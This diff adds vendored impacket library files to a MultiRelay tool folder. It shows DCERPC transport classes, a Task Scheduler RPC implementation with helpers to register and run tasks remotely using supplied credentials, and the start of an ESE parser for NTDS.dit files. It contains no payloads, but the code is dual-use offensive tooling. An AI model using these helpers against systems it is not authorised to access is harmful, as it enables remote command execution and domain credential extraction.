self.set_rpc_proxy_url('https://%s/rpc/rpcproxy.dll' % rpcproxy[0])
elif rpcproxy[1] == '80':
self.set_rpc_proxy_url('http://%s/rpc/rpcproxy.dll' % rpcproxy[0])
else:
# 2.1.2.1
# RPC over HTTP always uses port 80 for HTTP traffic and port 443 for HTTPS traffic.
# But you can use set_rpc_proxy_url method to set any URL / query you want.
raise DCERPCException("RPC Proxy port must be 80 or 443")
def connect(self):
if self._useRpcProxy == False:
# Connecting directly to the ncacn_http port
#
# Here we using RPC over HTTPv1 instead complex RPC over HTTP v2 syntax
# RPC over HTTP v2 here can be implemented in the future
self._version = RPC_OVER_HTTP_v1
TCPTransport.connect(self)
# Reading legacy server response
data = self.get_socket().recv(8192)
if data != b'ncacn_http/1.0':
raise DCERPCException("%s:%s service is not ncacn_http" % (self.__remoteName, self.__dstport))
else:
RPCProxyClient.connect(self)
def send(self, data, forceWriteAndx=0, forceRecv=0):
return self._transport.send(self, data, forceWriteAndx, forceRecv)
def recv(self, forceRecv=0, count=0):
return self._transport.recv(self, forceRecv, count)
def get_socket(self):
if self._useRpcProxy == False:
return TCPTransport.get_socket(self)
else:
raise DCERPCException("This method is not supported for RPC Proxy connections")
def disconnect(self):
return self._transport.disconnect(self)
class SMBTransport(DCERPCTransport):
"""Implementation of ncacn_np protocol sequence"""
def __init__(self, remoteName, dstport=445, filename='', username='', password='', domain='', lmhash='', nthash='',
aesKey='', TGT=None, TGS=None, remote_host='', smb_connection=0, doKerberos=False, kdcHost=None):
DCERPCTransport.__init__(self, remoteName, dstport)
self.__socket = None
self.__tid = 0
self.__filename = filename
self.__handle = 0
self.__pending_recv = 0
self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS)
self._doKerberos = doKerberos
self._kdcHost = kdcHost
if remote_host != '':
self.setRemoteHost(remote_host)
if smb_connection == 0:
self.__existing_smb = False
else:
self.__existing_smb = True
self.set_credentials(*smb_connection.getCredentials())
self.__prefDialect = None
self.__smb_connection = smb_connection
self.set_connect_timeout(30)
def preferred_dialect(self, dialect):
self.__prefDialect = dialect
def setup_smb_connection(self):
if not self.__smb_connection:
self.__smb_connection = SMBConnection(self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(),
preferredDialect=self.__prefDialect, timeout=self.get_connect_timeout())
if self._strict_hostname_validation:
self.__smb_connection.setHostnameValidation(self._strict_hostname_validation, self._validation_allow_absent, self._accepted_hostname)
def connect(self):
# Check if we have a smb connection already setup
if self.__smb_connection == 0:
self.setup_smb_connection()
if self._doKerberos is False:
self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash)
else:
self.__smb_connection.kerberosLogin(self._username, self._password, self._domain, self._lmhash,
self._nthash, self._aesKey, kdcHost=self._kdcHost, TGT=self._TGT,
TGS=self._TGS)
self.__tid = self.__smb_connection.connectTree('IPC$')
self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename)
self.__socket = self.__smb_connection.getSMBServer().get_socket()
return 1
def disconnect(self):
self.__smb_connection.disconnectTree(self.__tid)
# If we created the SMB connection, we close it, otherwise
# that's up for the caller
if self.__existing_smb is False:
self.__smb_connection.logoff()
self.__smb_connection.close()
self.__smb_connection = 0
def send(self,data, forceWriteAndx = 0, forceRecv = 0):
if self._max_send_frag:
offset = 0
while 1:
toSend = data[offset:offset+self._max_send_frag]
if not toSend:
break
self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset)
offset += len(toSend)
else:
self.__smb_connection.writeFile(self.__tid, self.__handle, data)
if forceRecv:
self.__pending_recv += 1
def recv(self, forceRecv = 0, count = 0 ):
if self._max_send_frag or self.__pending_recv:
# _max_send_frag is checked because it's the same condition we checked
# to decide whether to use write_andx() or send_trans() in send() above.
if self.__pending_recv:
self.__pending_recv -= 1
return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag)
else:
return self.__smb_connection.readFile(self.__tid, self.__handle)
def get_smb_connection(self):
return self.__smb_connection
def set_smb_connection(self, smb_connection):
self.__smb_connection = smb_connection
self.set_credentials(*smb_connection.getCredentials())
self.__existing_smb = True
def get_smb_server(self):
# Raw Access to the SMBServer (whatever type it is)
return self.__smb_connection.getSMBServer()
def get_socket(self):
return self.__socket
def doesSupportNTLMv2(self):
return self.__smb_connection.doesSupportNTLMv2()
class LOCALTransport(DCERPCTransport):
"""
Implementation of ncalocal protocol sequence, not the same
as ncalrpc (I'm not doing LPC just opening the local pipe)
"""
def __init__(self, filename = ''):
DCERPCTransport.__init__(self, '', 0)
self.__filename = filename
self.__handle = 0
def connect(self):
if self.__filename.upper().find('PIPE') < 0:
self.__filename = '\\PIPE\\%s' % self.__filename
self.__handle = os.open('\\\\.\\%s' % self.__filename, os.O_RDWR|os.O_BINARY)
return 1
def disconnect(self):
os.close(self.__handle)
def send(self,data, forceWriteAndx = 0, forceRecv = 0):
os.write(self.__handle, data)
def recv(self, forceRecv = 0, count = 0 ):
data = os.read(self.__handle, 65535)
return data

799
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/tsch.py Normal file
View File

@@ -0,0 +1,799 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-TSCH] ITaskSchedulerService Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h"<name of the call>.
# There are test cases for them too.
#
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR, NULL, GUID, PSYSTEMTIME, SYSTEMTIME
from impacket.structure import Structure
from impacket import hresult_errors, system_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
MSRPC_UUID_TSCHS = uuidtup_to_bin(('86D35949-83C9-4044-B424-DB363231FD0C','1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if key in hresult_errors.ERROR_MESSAGES:
error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
elif key & 0xffff in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key & 0xffff][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key & 0xffff][1]
return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# 2.3.1 Constant Values
CNLEN = 15
DNLEN = CNLEN
UNLEN = 256
MAX_BUFFER_SIZE = (DNLEN+UNLEN+1+1)
# 2.3.7 Flags
TASK_FLAG_INTERACTIVE = 0x1
TASK_FLAG_DELETE_WHEN_DONE = 0x2
TASK_FLAG_DISABLED = 0x4
TASK_FLAG_START_ONLY_IF_IDLE = 0x10
TASK_FLAG_KILL_ON_IDLE_END = 0x20
TASK_FLAG_DONT_START_IF_ON_BATTERIES = 0x40
TASK_FLAG_KILL_IF_GOING_ON_BATTERIES = 0x80
TASK_FLAG_RUN_ONLY_IF_DOCKED = 0x100
TASK_FLAG_HIDDEN = 0x200
TASK_FLAG_RUN_IF_CONNECTED_TO_INTERNET = 0x400
TASK_FLAG_RESTART_ON_IDLE_RESUME = 0x800
TASK_FLAG_SYSTEM_REQUIRED = 0x1000
TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x2000
# 2.3.9 TASK_LOGON_TYPE
TASK_LOGON_NONE = 0
TASK_LOGON_PASSWORD = 1
TASK_LOGON_S4U = 2
TASK_LOGON_INTERACTIVE_TOKEN = 3
TASK_LOGON_GROUP = 4
TASK_LOGON_SERVICE_ACCOUNT = 5
TASK_LOGON_INTERACTIVE_TOKEN_OR_PASSWORD = 6
# 2.3.13 TASK_STATE
TASK_STATE_UNKNOWN = 0
TASK_STATE_DISABLED = 1
TASK_STATE_QUEUED = 2
TASK_STATE_READY = 3
TASK_STATE_RUNNING = 4
# 2.4.1 FIXDLEN_DATA
SCHED_S_TASK_READY = 0x00041300
SCHED_S_TASK_RUNNING = 0x00041301
SCHED_S_TASK_NOT_SCHEDULED = 0x00041301
# 2.4.2.11 Triggers
TASK_TRIGGER_FLAG_HAS_END_DATE = 0
TASK_TRIGGER_FLAG_KILL_AT_DURATION_END = 0
TASK_TRIGGER_FLAG_DISABLED = 0
# ToDo: Change this to enums
ONCE = 0
DAILY = 1
WEEKLY = 2
MONTHLYDATE = 3
MONTHLYDOW = 4
EVENT_ON_IDLE = 5
EVENT_AT_SYSTEMSTART = 6
EVENT_AT_LOGON = 7
SUNDAY = 0
MONDAY = 1
TUESDAY = 2
WEDNESDAY = 3
THURSDAY = 4
FRIDAY = 5
SATURDAY = 6
JANUARY = 1
FEBRUARY = 2
MARCH = 3
APRIL = 4
MAY = 5
JUNE = 6
JULY = 7
AUGUST = 8
SEPTEMBER = 9
OCTOBER = 10
NOVEMBER = 11
DECEMBER = 12
# 2.4.2.11.8 MONTHLYDOW Trigger
FIRST_WEEK = 1
SECOND_WEEK = 2
THIRD_WEEK = 3
FOURTH_WEEK = 4
LAST_WEEK = 5
# 2.3.12 TASK_NAMES
TASK_NAMES = LPWSTR
# 3.2.5.4.2 SchRpcRegisterTask (Opnum 1)
TASK_VALIDATE_ONLY = 1<<(31-31)
TASK_CREATE = 1<<(31-30)
TASK_UPDATE = 1<<(31-29)
TASK_DISABLE = 1<<(31-28)
TASK_DON_ADD_PRINCIPAL_ACE = 1<<(31-27)
TASK_IGNORE_REGISTRATION_TRIGGERS = 1<<(31-26)
# 3.2.5.4.5 SchRpcSetSecurity (Opnum 4)
TASK_DONT_ADD_PRINCIPAL_ACE = 1<<(31-27)
SCH_FLAG_FOLDER = 1<<(31-2)
SCH_FLAG_TASK = 1<<(31-1)
# 3.2.5.4.7 SchRpcEnumFolders (Opnum 6)
TASK_ENUM_HIDDEN = 1
# 3.2.5.4.13 SchRpcRun (Opnum 12)
TASK_RUN_AS_SELF = 1<<(31-31)
TASK_RUN_IGNORE_CONSTRAINTS = 1<<(31-30)
TASK_RUN_USE_SESSION_ID = 1<<(31-29)
TASK_RUN_USER_SID = 1<<(31-28)
# 3.2.5.4.18 SchRpcGetTaskInfo (Opnum 17)
SCH_FLAG_STATE = 1<<(31-3)
################################################################################
# STRUCTURES
################################################################################
# 2.3.12 TASK_NAMES
class TASK_NAMES_ARRAY(NDRUniConformantArray):
item = TASK_NAMES
class PTASK_NAMES_ARRAY(NDRPOINTER):
referent = (
('Data',TASK_NAMES_ARRAY),
)
class WSTR_ARRAY(NDRUniConformantArray):
item = WSTR
class PWSTR_ARRAY(NDRPOINTER):
referent = (
('Data',WSTR_ARRAY),
)
class GUID_ARRAY(NDRUniConformantArray):
item = GUID
class PGUID_ARRAY(NDRPOINTER):
referent = (
('Data',GUID_ARRAY),
)
# 3.2.5.4.13 SchRpcRun (Opnum 12)
class SYSTEMTIME_ARRAY(NDRUniConformantArray):
item = SYSTEMTIME
class PSYSTEMTIME_ARRAY(NDRPOINTER):
referent = (
('Data',SYSTEMTIME_ARRAY),
)
# 2.3.8 TASK_USER_CRED
class TASK_USER_CRED(NDRSTRUCT):
structure = (
('userId',LPWSTR),
('password',LPWSTR),
('flags',DWORD),
)
class TASK_USER_CRED_ARRAY(NDRUniConformantArray):
item = TASK_USER_CRED
class LPTASK_USER_CRED_ARRAY(NDRPOINTER):
referent = (
('Data',TASK_USER_CRED_ARRAY),
)
# 2.3.10 TASK_XML_ERROR_INFO
class TASK_XML_ERROR_INFO(NDRSTRUCT):
structure = (
('line',DWORD),
('column',DWORD),
('node',LPWSTR),
('value',LPWSTR),
)
class PTASK_XML_ERROR_INFO(NDRPOINTER):
referent = (
('Data',TASK_XML_ERROR_INFO),
)
# 2.4.1 FIXDLEN_DATA
class FIXDLEN_DATA(Structure):
structure = (
('Product Version','<H=0'),
('File Version','<H=0'),
('Job uuid','16s="'),
('App Name Len Offset','<H=0'),
('Trigger Offset','<H=0'),
('Error Retry Count','<H=0'),
('Error Retry Interval','<H=0'),
('Idle Deadline','<H=0'),
('Idle Wait','<H=0'),
('Priority','<L=0'),
('Maximum Run Time','<L=0'),
('Exit Code','<L=0'),
('Status','<L=0'),
('Flags','<L=0'),
)
# 2.4.2.11 Triggers
class TRIGGERS(Structure):
structure = (
('Trigger Size','<H=0'),
('Reserved1','<H=0'),
('Begin Year','<H=0'),
('Begin Month','<H=0'),
('Begin Day','<H=0'),
('End Year','<H=0'),
('End Month','<H=0'),
('End Day','<H=0'),
('Start Hour','<H=0'),
('Start Minute','<H=0'),
('Minutes Duration','<L=0'),
('Minutes Interval','<L=0'),
('Flags','<L=0'),
('Trigger Type','<L=0'),
('TriggerSpecific0','<H=0'),
('TriggerSpecific1','<H=0'),
('TriggerSpecific2','<H=0'),
('Padding','<H=0'),
('Reserved2','<H=0'),
('Reserved3','<H=0'),
)
# 2.4.2.11.6 WEEKLY Trigger
class WEEKLY(Structure):
structure = (
('Trigger Type','<L=0'),
('Weeks Interval','<H=0'),
('DaysOfTheWeek','<H=0'),
('Unused','<H=0'),
('Padding','<H=0'),
)
# 2.4.2.11.7 MONTHLYDATE Trigger
class MONTHLYDATE(Structure):
structure = (
('Trigger Type','<L=0'),
('Days','<L=0'),
('Months','<H=0'),
('Padding','<H=0'),
)
# 2.4.2.11.8 MONTHLYDOW Trigger
class MONTHLYDOW(Structure):
structure = (
('Trigger Type','<L=0'),
('WhichWeek','<H=0'),
('DaysOfTheWeek','<H=0'),
('Months','<H=0'),
('Padding','<H=0'),
('Reserved2','<H=0'),
('Reserved3','<H=0'),
)
# 2.4.2.12 Job Signature
class JOB_SIGNATURE(Structure):
structure = (
('SignatureVersion','<HH0'),
('MinClientVersion','<H=0'),
('Signature','64s="'),
)
################################################################################
# RPC CALLS
################################################################################
# 3.2.5.4.1 SchRpcHighestVersion (Opnum 0)
class SchRpcHighestVersion(NDRCALL):
opnum = 0
structure = (
)
class SchRpcHighestVersionResponse(NDRCALL):
structure = (
('pVersion', DWORD),
('ErrorCode',ULONG),
)
# 3.2.5.4.2 SchRpcRegisterTask (Opnum 1)
class SchRpcRegisterTask(NDRCALL):
opnum = 1
structure = (
('path', LPWSTR),
('xml', WSTR),
('flags', DWORD),
('sddl', LPWSTR),
('logonType', DWORD),
('cCreds', DWORD),
('pCreds', LPTASK_USER_CRED_ARRAY),
)
class SchRpcRegisterTaskResponse(NDRCALL):
structure = (
('pActualPath', LPWSTR),
('pErrorInfo', PTASK_XML_ERROR_INFO),
('ErrorCode',ULONG),
)
# 3.2.5.4.3 SchRpcRetrieveTask (Opnum 2)
class SchRpcRetrieveTask(NDRCALL):
opnum = 2
structure = (
('path', WSTR),
('lpcwszLanguagesBuffer', WSTR),
('pulNumLanguages', DWORD),
)
class SchRpcRetrieveTaskResponse(NDRCALL):
structure = (
('pXml', LPWSTR),
('ErrorCode',ULONG),
)
# 3.2.5.4.4 SchRpcCreateFolder (Opnum 3)
class SchRpcCreateFolder(NDRCALL):
opnum = 3
structure = (
('path', WSTR),
('sddl', LPWSTR),
('flags', DWORD),
)
class SchRpcCreateFolderResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.5.4.5 SchRpcSetSecurity (Opnum 4)
class SchRpcSetSecurity(NDRCALL):
opnum = 4
structure = (
('path', WSTR),
('sddl', WSTR),
('flags', DWORD),
)
class SchRpcSetSecurityResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.5.4.6 SchRpcGetSecurity (Opnum 5)
class SchRpcGetSecurity(NDRCALL):
opnum = 5
structure = (
('path', WSTR),
('securityInformation', DWORD),
)
class SchRpcGetSecurityResponse(NDRCALL):
structure = (
('sddl',LPWSTR),
('ErrorCode',ULONG),
)
# 3.2.5.4.7 SchRpcEnumFolders (Opnum 6)
class SchRpcEnumFolders(NDRCALL):
opnum = 6
structure = (
('path', WSTR),
('flags', DWORD),
('startIndex', DWORD),
('cRequested', DWORD),
)
class SchRpcEnumFoldersResponse(NDRCALL):
structure = (
('startIndex', DWORD),
('pcNames', DWORD),
('pNames', PTASK_NAMES_ARRAY),
('ErrorCode',ULONG),
)
# 3.2.5.4.8 SchRpcEnumTasks (Opnum 7)
class SchRpcEnumTasks(NDRCALL):
opnum = 7
structure = (
('path', WSTR),
('flags', DWORD),
('startIndex', DWORD),
('cRequested', DWORD),
)
class SchRpcEnumTasksResponse(NDRCALL):
structure = (
('startIndex', DWORD),
('pcNames', DWORD),
('pNames', PTASK_NAMES_ARRAY),
('ErrorCode',ULONG),
)
# 3.2.5.4.9 SchRpcEnumInstances (Opnum 8)
class SchRpcEnumInstances(NDRCALL):
opnum = 8
structure = (
('path', LPWSTR),
('flags', DWORD),
)
class SchRpcEnumInstancesResponse(NDRCALL):
structure = (
('pcGuids', DWORD),
('pGuids', PGUID_ARRAY),
('ErrorCode',ULONG),
)
# 3.2.5.4.10 SchRpcGetInstanceInfo (Opnum 9)
class SchRpcGetInstanceInfo(NDRCALL):
opnum = 9
structure = (
('guid', GUID),
)
class SchRpcGetInstanceInfoResponse(NDRCALL):
structure = (
('pPath', LPWSTR),
('pState', DWORD),
('pCurrentAction', LPWSTR),
('pInfo', LPWSTR),
('pcGroupInstances', DWORD),
('pGroupInstances', PGUID_ARRAY),
('pEnginePID', DWORD),
('ErrorCode',ULONG),
)
# 3.2.5.4.11 SchRpcStopInstance (Opnum 10)
class SchRpcStopInstance(NDRCALL):
opnum = 10
structure = (
('guid', GUID),
('flags', DWORD),
)
class SchRpcStopInstanceResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.5.4.12 SchRpcStop (Opnum 11)
class SchRpcStop(NDRCALL):
opnum = 11
structure = (
('path', LPWSTR),
('flags', DWORD),
)
class SchRpcStopResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.5.4.13 SchRpcRun (Opnum 12)
class SchRpcRun(NDRCALL):
opnum = 12
structure = (
('path', WSTR),
('cArgs', DWORD),
('pArgs', PWSTR_ARRAY),
('flags', DWORD),
('sessionId', DWORD),
('user', LPWSTR),
)
class SchRpcRunResponse(NDRCALL):
structure = (
('pGuid', GUID),
('ErrorCode',ULONG),
)
# 3.2.5.4.14 SchRpcDelete (Opnum 13)
class SchRpcDelete(NDRCALL):
opnum = 13
structure = (
('path', WSTR),
('flags', DWORD),
)
class SchRpcDeleteResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.5.4.15 SchRpcRename (Opnum 14)
class SchRpcRename(NDRCALL):
opnum = 14
structure = (
('path', WSTR),
('newName', WSTR),
('flags', DWORD),
)
class SchRpcRenameResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.5.4.16 SchRpcScheduledRuntimes (Opnum 15)
class SchRpcScheduledRuntimes(NDRCALL):
opnum = 15
structure = (
('path', WSTR),
('start', PSYSTEMTIME),
('end', PSYSTEMTIME),
('flags', DWORD),
('cRequested', DWORD),
)
class SchRpcScheduledRuntimesResponse(NDRCALL):
structure = (
('pcRuntimes',DWORD),
('pRuntimes',PSYSTEMTIME_ARRAY),
('ErrorCode',ULONG),
)
# 3.2.5.4.17 SchRpcGetLastRunInfo (Opnum 16)
class SchRpcGetLastRunInfo(NDRCALL):
opnum = 16
structure = (
('path', WSTR),
)
class SchRpcGetLastRunInfoResponse(NDRCALL):
structure = (
('pLastRuntime',SYSTEMTIME),
('pLastReturnCode',DWORD),
('ErrorCode',ULONG),
)
# 3.2.5.4.18 SchRpcGetTaskInfo (Opnum 17)
class SchRpcGetTaskInfo(NDRCALL):
opnum = 17
structure = (
('path', WSTR),
('flags', DWORD),
)
class SchRpcGetTaskInfoResponse(NDRCALL):
structure = (
('pEnabled',DWORD),
('pState',DWORD),
('ErrorCode',ULONG),
)
# 3.2.5.4.19 SchRpcGetNumberOfMissedRuns (Opnum 18)
class SchRpcGetNumberOfMissedRuns(NDRCALL):
opnum = 18
structure = (
('path', WSTR),
)
class SchRpcGetNumberOfMissedRunsResponse(NDRCALL):
structure = (
('pNumberOfMissedRuns',DWORD),
('ErrorCode',ULONG),
)
# 3.2.5.4.20 SchRpcEnableTask (Opnum 19)
class SchRpcEnableTask(NDRCALL):
opnum = 19
structure = (
('path', WSTR),
('enabled', DWORD),
)
class SchRpcEnableTaskResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (SchRpcHighestVersion,SchRpcHighestVersionResponse ),
1 : (SchRpcRegisterTask,SchRpcRegisterTaskResponse ),
2 : (SchRpcRetrieveTask,SchRpcRetrieveTaskResponse ),
3 : (SchRpcCreateFolder,SchRpcCreateFolderResponse ),
4 : (SchRpcSetSecurity,SchRpcSetSecurityResponse ),
5 : (SchRpcGetSecurity,SchRpcGetSecurityResponse ),
6 : (SchRpcEnumFolders,SchRpcEnumFoldersResponse ),
7 : (SchRpcEnumTasks,SchRpcEnumTasksResponse ),
8 : (SchRpcEnumInstances,SchRpcEnumInstancesResponse ),
9 : (SchRpcGetInstanceInfo,SchRpcGetInstanceInfoResponse ),
10 : (SchRpcStopInstance,SchRpcStopInstanceResponse ),
11 : (SchRpcStop,SchRpcStopResponse ),
12 : (SchRpcRun,SchRpcRunResponse ),
13 : (SchRpcDelete,SchRpcDeleteResponse ),
14 : (SchRpcRename,SchRpcRenameResponse ),
15 : (SchRpcScheduledRuntimes,SchRpcScheduledRuntimesResponse ),
16 : (SchRpcGetLastRunInfo,SchRpcGetLastRunInfoResponse ),
17 : (SchRpcGetTaskInfo,SchRpcGetTaskInfoResponse ),
18 : (SchRpcGetNumberOfMissedRuns,SchRpcGetNumberOfMissedRunsResponse),
19 : (SchRpcEnableTask,SchRpcEnableTaskResponse),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def checkNullString(string):
if string == NULL:
return string
if string[-1:] != '\x00':
return string + '\x00'
else:
return string
def hSchRpcHighestVersion(dce):
return dce.request(SchRpcHighestVersion())
def hSchRpcRegisterTask(dce, path, xml, flags, sddl, logonType, pCreds = ()):
request = SchRpcRegisterTask()
request['path'] = checkNullString(path)
request['xml'] = checkNullString(xml)
request['flags'] = flags
request['sddl'] = sddl
request['logonType'] = logonType
request['cCreds'] = len(pCreds)
if len(pCreds) == 0:
request['pCreds'] = NULL
else:
for cred in pCreds:
request['pCreds'].append(cred)
return dce.request(request)
def hSchRpcRetrieveTask(dce, path, lpcwszLanguagesBuffer = '\x00', pulNumLanguages=0 ):
schRpcRetrieveTask = SchRpcRetrieveTask()
schRpcRetrieveTask['path'] = checkNullString(path)
schRpcRetrieveTask['lpcwszLanguagesBuffer'] = lpcwszLanguagesBuffer
schRpcRetrieveTask['pulNumLanguages'] = pulNumLanguages
return dce.request(schRpcRetrieveTask)
def hSchRpcCreateFolder(dce, path, sddl = NULL):
schRpcCreateFolder = SchRpcCreateFolder()
schRpcCreateFolder['path'] = checkNullString(path)
schRpcCreateFolder['sddl'] = sddl
schRpcCreateFolder['flags'] = 0
return dce.request(schRpcCreateFolder)
def hSchRpcSetSecurity(dce, path, sddl, flags):
schRpcSetSecurity = SchRpcSetSecurity()
schRpcSetSecurity['path'] = checkNullString(path)
schRpcSetSecurity['sddl'] = checkNullString(sddl)
schRpcSetSecurity['flags'] = flags
return dce.request(schRpcSetSecurity)
def hSchRpcGetSecurity(dce, path, securityInformation=0xffffffff):
schRpcGetSecurity = SchRpcGetSecurity()
schRpcGetSecurity['path'] = checkNullString(path)
schRpcGetSecurity['securityInformation'] = securityInformation
return dce.request(schRpcGetSecurity)
def hSchRpcEnumFolders(dce, path, flags=TASK_ENUM_HIDDEN, startIndex=0, cRequested=0xffffffff):
schRpcEnumFolders = SchRpcEnumFolders()
schRpcEnumFolders['path'] = checkNullString(path)
schRpcEnumFolders['flags'] = flags
schRpcEnumFolders['startIndex'] = startIndex
schRpcEnumFolders['cRequested'] = cRequested
return dce.request(schRpcEnumFolders)
def hSchRpcEnumTasks(dce, path, flags=TASK_ENUM_HIDDEN, startIndex=0, cRequested=0xffffffff):
schRpcEnumTasks = SchRpcEnumTasks()
schRpcEnumTasks['path'] = checkNullString(path)
schRpcEnumTasks['flags'] = flags
schRpcEnumTasks['startIndex'] = startIndex
schRpcEnumTasks['cRequested'] = cRequested
return dce.request(schRpcEnumTasks)
def hSchRpcEnumInstances(dce, path, flags=TASK_ENUM_HIDDEN):
schRpcEnumInstances = SchRpcEnumInstances()
schRpcEnumInstances['path'] = checkNullString(path)
schRpcEnumInstances['flags'] = flags
return dce.request(schRpcEnumInstances)
def hSchRpcGetInstanceInfo(dce, guid):
schRpcGetInstanceInfo = SchRpcGetInstanceInfo()
schRpcGetInstanceInfo['guid'] = guid
return dce.request(schRpcGetInstanceInfo)
def hSchRpcStopInstance(dce, guid, flags = 0):
schRpcStopInstance = SchRpcStopInstance()
schRpcStopInstance['guid'] = guid
schRpcStopInstance['flags'] = flags
return dce.request(schRpcStopInstance)
def hSchRpcStop(dce, path, flags = 0):
schRpcStop= SchRpcStop()
schRpcStop['path'] = checkNullString(path)
schRpcStop['flags'] = flags
return dce.request(schRpcStop)
def hSchRpcRun(dce, path, pArgs=(), flags=0, sessionId=0, user = NULL):
schRpcRun = SchRpcRun()
schRpcRun['path'] = checkNullString(path)
schRpcRun['cArgs'] = len(pArgs)
for arg in pArgs:
argn = LPWSTR()
argn['Data'] = checkNullString(arg)
schRpcRun['pArgs'].append(argn)
schRpcRun['flags'] = flags
schRpcRun['sessionId'] = sessionId
schRpcRun['user'] = user
return dce.request(schRpcRun)
def hSchRpcDelete(dce, path, flags = 0):
schRpcDelete = SchRpcDelete()
schRpcDelete['path'] = checkNullString(path)
schRpcDelete['flags'] = flags
return dce.request(schRpcDelete)
def hSchRpcRename(dce, path, newName, flags = 0):
schRpcRename = SchRpcRename()
schRpcRename['path'] = checkNullString(path)
schRpcRename['newName'] = checkNullString(newName)
schRpcRename['flags'] = flags
return dce.request(schRpcRename)
def hSchRpcScheduledRuntimes(dce, path, start = NULL, end = NULL, flags = 0, cRequested = 10):
schRpcScheduledRuntimes = SchRpcScheduledRuntimes()
schRpcScheduledRuntimes['path'] = checkNullString(path)
schRpcScheduledRuntimes['start'] = start
schRpcScheduledRuntimes['end'] = end
schRpcScheduledRuntimes['flags'] = flags
schRpcScheduledRuntimes['cRequested'] = cRequested
return dce.request(schRpcScheduledRuntimes)
def hSchRpcGetLastRunInfo(dce, path):
schRpcGetLastRunInfo = SchRpcGetLastRunInfo()
schRpcGetLastRunInfo['path'] = checkNullString(path)
return dce.request(schRpcGetLastRunInfo)
def hSchRpcGetTaskInfo(dce, path, flags = 0):
schRpcGetTaskInfo = SchRpcGetTaskInfo()
schRpcGetTaskInfo['path'] = checkNullString(path)
schRpcGetTaskInfo['flags'] = flags
return dce.request(schRpcGetTaskInfo)
def hSchRpcGetNumberOfMissedRuns(dce, path):
schRpcGetNumberOfMissedRuns = SchRpcGetNumberOfMissedRuns()
schRpcGetNumberOfMissedRuns['path'] = checkNullString(path)
return dce.request(schRpcGetNumberOfMissedRuns)
def hSchRpcEnableTask(dce, path, enabled = True):
schRpcEnableTask = SchRpcEnableTask()
schRpcEnableTask['path'] = checkNullString(path)
if enabled is True:
schRpcEnableTask['enabled'] = 1
else:
schRpcEnableTask['enabled'] = 0
return dce.request(schRpcEnableTask)

1182
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/wkst.py Normal file
View File

File diff suppressed because it is too large Load Diff

1038
tools/MultiRelay/impacket-dev/impacket/dpapi.py Normal file
View File

File diff suppressed because it is too large Load Diff

970
tools/MultiRelay/impacket-dev/impacket/ese.py Normal file
View File

@@ -0,0 +1,970 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# Microsoft Extensive Storage Engine parser, just focused on trying
# to parse NTDS.dit files (not meant as a full parser, although it might work)
#
# Author:
# Alberto Solino (@agsolino)
#
# Reference for:
# Structure.
#
# Excellent reference done by Joachim Metz
# http://forensic-proof.com/wp-content/uploads/2011/07/Extensible-Storage-Engine-ESE-Database-File-EDB-format.pdf
#
# ToDo:
# [ ] Parse multi-values properly
# [ ] Support long values properly
from __future__ import division
from __future__ import print_function
from impacket import LOG
try:
from collections import OrderedDict
except:
try:
from ordereddict.ordereddict import OrderedDict
except:
from ordereddict import OrderedDict
from impacket.structure import Structure, hexdump
from struct import unpack
from binascii import hexlify
from six import b
# Constants
FILE_TYPE_DATABASE = 0
FILE_TYPE_STREAMING_FILE = 1
# Database state
JET_dbstateJustCreated = 1
JET_dbstateDirtyShutdown = 2
JET_dbstateCleanShutdown = 3
JET_dbstateBeingConverted = 4
JET_dbstateForceDetach = 5
# Page Flags
FLAGS_ROOT = 1
FLAGS_LEAF = 2
FLAGS_PARENT = 4
FLAGS_EMPTY = 8
FLAGS_SPACE_TREE = 0x20
FLAGS_INDEX = 0x40
FLAGS_LONG_VALUE = 0x80
FLAGS_NEW_FORMAT = 0x2000
FLAGS_NEW_CHECKSUM = 0x2000
